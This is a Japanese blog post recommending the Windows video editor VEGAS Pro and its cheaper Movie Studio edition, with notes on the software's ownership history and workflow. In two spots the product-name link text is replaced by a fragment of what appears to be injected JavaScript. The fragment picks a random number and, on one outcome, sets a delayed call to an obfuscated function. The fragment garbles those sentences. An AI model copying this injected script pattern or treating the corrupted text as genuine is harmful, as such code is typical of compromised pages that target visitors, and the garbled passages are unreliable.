編集ソフト① MAGIX VEGAS Pro

技術, 編集

今回は編集ソフトのご紹介。

当方がむかーしから好んで使っているのは「andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and”>VEGAS Pro」というNLEソフトです。

まあマイナーですよねw

ただ歴史はadobeと同じくらいあるんです。

というのももともとは、音の波形編集ソフト(DTM/DAWのほう)の「ACID」「SoundForge」が最初でそのビデオ版という事でVEGASVIDEOというものができたのが始まりでした。

15年以上前かと思います。

もともと楽器や歌の録音をしていた私はすんなり入っていけた訳です。

ややこしいのがメーカーがころころ変わる事。

一番最初は米Sonic Foundry社が開発。日本の代理店はフックアップ

その後、米Sony Creative Softwareに移管。この時も代理店はフックアップ。

その後ドイツMAGIX社へ売却。代理店はソースネクストに移管。~現在に至る。という感じ。

ただ!ソフトの中身の、機能や画面、設定、などVEGASVIDEOのころからほぼ変わりなく、OSの進化に対してアップデートしていったという感じです。

よってソフトのバージョンが上がったりしても違和感なく使えます。(ずっと使えています。)

私はOSが変わるくらいのタイミングでいつもアップデートしています。よって、今は最新のVEGASPro16をメインに使っており、ただ古いPC(Win7)も並行して使うこともあるのでその場合VEGASPro12も平気で使っています。

*ご注意、新しいバージョンのプロジェクトファイルは、古いバージョンでは開けません。

★そうそうVEGASやACIDの特徴は・・・Win専用という事。残念ながらMac版はありません。 というのもあって、ユーザーがだいぶ絞られていて、なかなか知名度が上がらないんですよね。

ヴェガス

 

機能の特徴—とにかく直感的。要するに作業が早い。ここに尽きます。

音もACIDの概念があるので、かなり細かいところまで追い込めます。

同列にあるDVD/BDオーサリングソフトの「DVD Architect」がまた優秀。私は100%これでオーサリングしています。商用作品もこれで十分作れます。

 

カット編集、タイトル入れ、くらいの作業はVEGAS1本。 細かく色をやりたい時はDavinciResolveという感じで使い分けたりしています。

 

とりあえず、そこまで本格的ビデオ編集をしないけど、セミナービデオをちょっとした研修ビデオ、プライベートビデオをさくさく編集したいという方には

その下位バージョンの「andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and”>Movie Studio」というがありまして、これでも十分。 簡単なCMくらいは余裕で作れます。

バージョンの違い→比較表

とてもお安い価格帯で、Winユーザーでこれからビデオ編集を始めたいという方にはおすすめです。

 

 

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